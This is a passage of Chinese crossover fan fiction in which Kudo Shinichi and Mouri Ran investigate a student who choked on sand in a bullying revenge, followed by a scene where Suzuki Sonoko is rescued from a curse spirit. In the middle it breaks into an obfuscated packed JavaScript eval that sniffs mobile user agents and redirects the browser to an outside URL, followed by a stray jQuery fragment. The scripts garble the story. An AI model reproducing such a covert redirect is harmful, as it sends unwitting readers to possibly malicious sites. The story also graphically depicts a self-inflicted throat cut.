工藤新一如同猎豹般冲出咖啡厅,毛利兰紧随其后。
夜晚的冷风瞬间灌满他们的衣襟,将皮肤上残留的暖意彻底驱散。
“在那边!”新一凭借卓越的方向感和丰富的寻物经验,精准判定了尖叫传来的方向——是咖啡厅旁那个废弃的公园。
公园的铁门早已锈蚀大半,歪斜地敞开着。
园内杂草丛生,几盏残破的路灯投下昏黄而微弱的光,勉强照亮一条通往深处的小径。
空气中弥漫着潮湿的泥土和植物腐败的气息,还有一种焦躁的、令人不安的寂静。
两人循着隐约的抽泣声和慌乱的脚步声,快速穿过荒芜的庭院,直奔公园中心的沙坑区域。
眼前的景象让即使是见多识广的工藤新一也倒吸一口凉气。
沙坑边缘,一个穿着附近高中校服的男生仰面倒在地上,身体以一种极不自然的姿势蜷缩着。
三个同样穿着校服的学生站在不远处,脸色惨白,浑身发抖,其中一人正捂着脸低声啜泣。
“不许动!都离远点!”工藤新一厉声喝道,同时表明自己的身份控制住现场,“我是工藤新一,现在所有人在警察到场前都不许离开”。
他迅速扫视环境,确认没有明显威胁后,快步上前,同时从口袋里掏出手机,“兰,快报警。”
“好。”毛利兰没有丝毫犹豫,立刻拿出手机,冷静地向接线员说明地址、事件性质和现场人数,声音稳定,条理分明,完全看不出只是一个高中女生。
毕竟和工藤新一一起长大的这些年是真没少碰见各类事件,这就导致毛利兰对于报警的流程不能说是司空见惯,只能说是倒背如流。
工藤新一蹲下身,谨慎地开始检查倒在地上的男生。他先从口袋中拿出一副常备的薄手套戴上,然后才小心地观察。
对方的死状称得上一句诡异。
死者腹部异常鼓胀,像是被强行塞满了什么东西,将校服衬衫的纽扣都绷得紧紧的。裸露在外的皮肤呈现出一种不祥的青紫色,尤其是面部和颈部,颜色深得近乎发黑。
原本高大的身形痛苦地蜷缩成胎儿状,双手如铁钳般死死掐住自己的喉咙,指甲深深陷入皮肉,留下紫红色的淤痕。
工藤新一小心翼翼地转到死者正面,继续观察。
只见死者面目狰狞扭曲,眼睛充血凸出,眼球结膜上布满了密密麻麻的针尖状出血点,死死盯着虚无的上空。
嘴巴和鼻孔里溢出混合着暗红色血液和灰黑色粘液的沙浆,这些污秽物干涸在他的下巴和脸颊上,像是锈蚀了的痛苦。
工藤新一的眉头紧紧锁起,强忍着不适,更仔细地观察死者口腔周围。
奇怪的是,除了疑似吞咽沙子造成的咽喉内部划伤,嘴唇、牙龈、口腔内壁却并没有被器械强行撬开或摩擦造成的挫伤和撕裂伤。
仿佛这些沙子是他自己主动、甚至疯狂地吞下去的。
“到底发生了什么?”新一站起身,锐利的目光扫向那三个惊魂未定的学生,“你们是谁?和死者是什么关系?”
三个学生互相看了一眼,脸上写满了恐惧和慌乱。
“我、我们是同学······”一个矮个子、身材微胖的眼镜男颤声说,“他、他是佐藤健太······我们刚才······刚才还在那边聊天······”
他指了指不远处的一排生锈的长椅。
“聊什么?”工藤新一追问,同时不动声色地观察着三人的表情和身体语言。
“就、就是随便聊聊······”身材微胖的男生却眼神闪烁,不敢直视新一,“学校的八卦······还有······还有······”
“还有中村那个废物!”头发染成浅黄色的高个子突然激动地插嘴,狠狠地推了一把和两人隔着一段距离的男生,“健太哥只是在教训这个不懂规矩的家伙!谁让他总是摆出一副清高的样子!”
“不许动手!”工藤新一制止黄发杀马特的推搡,问道,“中村?”
“中村翔,”眼镜男小声补充,指着那个始终没有开口的男生,“是我们的同班同学······性格比较孤僻。佐藤他······不太喜欢中村。”
微胖男连忙接话,仿佛急于撇清什么:“对!就是中村!刚才健太还在说他呢!说上次在这里······在这里让他吃了点苦头,没想到那小子今天居然没来学校!肯定是怕了!”
工藤新一的目光变得冰冷,他听出了话语中的不妙意味。
“所以,你们刚才在这里,是在欺负这个叫中村翔的同学?”
两人顿时语塞,脸色更加苍白。
黄毛梗着脖子:“哪、哪是欺负!只是教育他一下!”
工藤新一没有理会他的狡辩,转而问道:“命案发生前,你们在做什么?谁最后接触死者?”
“我们就在那边坐着。”眼镜男指着长椅,“健太说有点闷,想去沙坑那边走走······然后我们就听到他······他发出很奇怪的声音,像是被呛到了,接着就倒下了······”
“我们跑过去的时候,他已经······已经那样了······”微胖男的声音带着哭腔。
“期间有没有其他人靠近?”新一追问。
“没有!绝对没有!”两人异口同声地否认。
新一的目光缓缓扫过三人,最后定格在那个从始至终几乎没怎么说话,只是低着头,双手紧紧攥着衣角的男生身上——他就是中村翔。
他的校服看上去有些旧,洗得发白,裤脚甚至短了一截。他的存在感很低,如果不是特意指出,很容易被忽略。
但新一注意到了几个关键点:中村翔的鞋边和裤脚沾着新鲜的沙粒,他的手指关节有些发红,甚至破了点皮,像是用力握过或者擦过什么粗糙的东西。
最重要的是,他的身上有一种与另外两人截然不同的沉寂,那不是恐惧,而是一种更为暗淡的、几乎死寂的情绪。
结合死者口中大量的沙子,以及中村翔身上的沙粒和手上的痕迹,还有他们之前谈论的“教训”内容,一个可怕的推测在新一脑中逐渐成形。
警方迟迟未到,现场的气氛越来越诡异。另外两个学生开始用恐惧又带着一丝怨恨的眼神偷偷瞄向中村翔。
工藤新一深吸一口气,决定不再等待,他需要打破僵局,凶手的心理防线往往在指认时最脆弱。
“我想,事情经过已经很清楚了。”工藤新一的声音冷静而清晰,在寂静的公园里回荡,“佐藤健太并非意外死亡,而是死于人为。”
两个学生猛地抬头看向他,中村翔却依旧低垂着头。
“死者口腔和胃部恐怕是充满了沙坑里的沙子,这是导致他窒息死亡的直接原因。”新一继续说道,目光如炬,“但奇怪的是,他的口腔内部没有强行灌入的伤痕。那么,这些沙子是怎么进去的?”
他停顿了一下,观察着每个人的反应。
“唯一的解释是,他在某种极端的情境下,被迫或者说‘自愿’地吞下了大量的沙子。”新一的目光扫过另外两个学生,“而能让他这么做的人,必然对他有着极强的心理控制力,或者抓住了他致命的把柄。”
黄毛和微胖男似乎想到了什么,脸色瞬间惨白如纸,惊恐地看向中村翔。
“中村,”新一的声音放缓,语气十分笃定,“佐藤他们,是不是曾经用类似的方式对待过你?”
中村翔依旧没有反应。
他没有承认,但也没有否认。
另外两个学生却像是找到了救命稻草,急忙喊道:
“对!对!是健太逼他的!不关我们的事啊!”
“我们只是看着······是健太说要给中村一个教训,让他知道该怎么做人······”
“上次······上次健太就是把中村的头按在沙坑里······逼他吃了好多沙子······”
他们的证词坐实了新一的猜测:佐藤健太曾在此霸凌中村翔,逼其吞沙。而今天,中村翔或许是用某种方式,迫使佐藤以同样的方式“自我惩罚”,最终导致了悲剧。
逻辑链条似乎闭合了,动机、手法、证据都指向中村翔。
另外两人仿佛松了一口气,开始虚情假意地劝说:
“中村······你······你怎么这么傻······”
“就是啊,有什么事不能好好说······”
然而,就在这一刻,一直不对外界做出任何回应的中村翔,终于抬起了头。
他青白的脸上露出了一个笑容。
那笑容并不扭曲,只是拉长了嘴唇,但却有一种恐怖谷般的怪异。
他猛地从背包侧袋里掏出一把美工刀,“咔哒”一声推出锋利的刀片。
工藤新一大惊:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264134|180042||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“住手!”
毛利兰连忙冲上前去想要阻止:“不要!”
但一切都太快了。
中村翔没有丝毫犹豫,用尽全身力气,将刀片狠狠地划向自己的脖颈!
温热的鲜血如同泼墨般瞬间喷涌而出,溅了离他最近的黄毛和微胖男满头满脸。
两人一瞬间呆愣住了。
他们颤颤巍巍地抬手,摸了摸脸上黏腻温热的液体,映入眼帘的是一片刺目的猩红。
“啊——啊啊啊啊——!!!”
极致的恐惧终于冲垮了神经,两人发出撕心裂肺的尖叫,眼睛一翻,几乎同时软倒在地,昏死过去。
转瞬之间,废弃的公园里,只剩下两具迅速失去温度的尸体,两个昏迷不醒的生者,以及目瞪口呆、脊背发凉的工藤新一和毛利兰。
夜风吹过,带来刺骨的寒意。公园里的温度仿佛诡异地降低了好几度,空气中弥漫着浓重的血腥味和一种难以形容的、冰冷的恶意。
一阵细微的、仿佛来自地底的呜咽声,若有若无地飘荡在寂静的空气里。
###
几条街之外的死胡同里。
铃木园子屏住呼吸,紧张地抓紧包带,浑身汗毛直竖。
身后的脚步声越来越近,每一步都像是踩在她的心脏上。
“园子。”
一个声音突然响起,叫着她的名字。那声音平静,甚至有些冷淡,但在极度恐惧的园子听来,却如同鬼魅的低语。
她吓得魂飞魄散,几乎要尖叫出声,死死地闭紧了眼睛不敢再看,额头瞬间布满冷汗。
完了完了,遇到变态跟踪狂了!还是知道她名字的变态!
但来人并没有贸然接近,只是停在一个不近不远的地方。
“······园子?”声音里带上了一丝不易察觉的无奈。
宫崎晶站在巷口,看着前方那个背对着自己缩成一团瑟瑟发抖的背影,感到有些好笑又有些担忧。
她刚才在附近祓除一只低阶咒灵时,敏锐地察觉到一股微弱但十分阴冷邪恶的诅咒气息一闪而过,方向似乎指向这边。
她立刻追踪而来,没想到看到的却是铃木园子。
园子身上还有一缕极淡的、如同黑色蛛丝般的咒力残秽,正缠绕在园子的背包带上——那是被标记的痕迹,通常意味着有咒灵或者诅咒师注意到了这个“猎物”。
“是我,宫崎晶。”她放轻了声音,尽量让自己的语气听起来柔和一些,“你没事吧?怎么走到这里来了?”
听到熟悉的声音和名字,园子猛地一愣,几乎要跳出来的心脏稍稍回落。
她小心翼翼地、一点点地回过头,透过朦胧的泪眼,看清了站在月光下的那个身影——利落的深蓝色短发,挺拔的身姿,以及那双熟悉的湛蓝眼眸。
不是变态跟踪狂!是宫崎晶!
巨大的恐惧瞬间转化为劫后余生的狂喜和委屈。
“晶——!!!”园子带着哭腔大喊一声,眼泪彻底决堤,想也不想地就朝着宫崎晶冲了过去,一把抱住她,像是抓住救命稻草一般死死搂住,“哇啊啊啊!吓死我了!我以为我遇到坏人了!这里好黑!路也好奇怪!我怎么走都走不出去!还有人跟着我!呜······”
她语无伦次,声音颤抖,显然被吓得不轻。
宫崎晶身体微微一僵,她不习惯与人如此近距离接触,但感受到园子身体的颤抖和哭声中的恐惧,她还是放松下来,抬手轻轻拍了拍园子的背。
“没事了,只是走错路了而已。”她低声安慰道,眼神却锐利地扫向园子身后的阴影处。
在那里,一只咒灵正因标记被触动而显形,如同扭曲的阴影般扑向园子的后背。
宫崎晶眼神一冷。
她背后的右手悄无声息地抬起,指尖魔力瞬间凝聚、压缩,随即轻轻一握——
那扑到半空的咒灵连嘶鸣都来不及发出,就像被无形的巨手捏碎的肥皂泡,瞬间湮灭,化为一丝微不可察的黑气消散在空气中。
整个过程快如闪电,沉浸在恐惧和后怕中的园子毫无察觉,只是紧紧抱着宫崎晶,抽噎着诉说自己的遭遇。
“······我还以为我要死在这里了······”铃木园子哭得稀里哗啦。
“好了,没事了。”宫崎晶再次拍了拍她的肩,语气如常,却让铃木园子分外安心,“我带你出去。”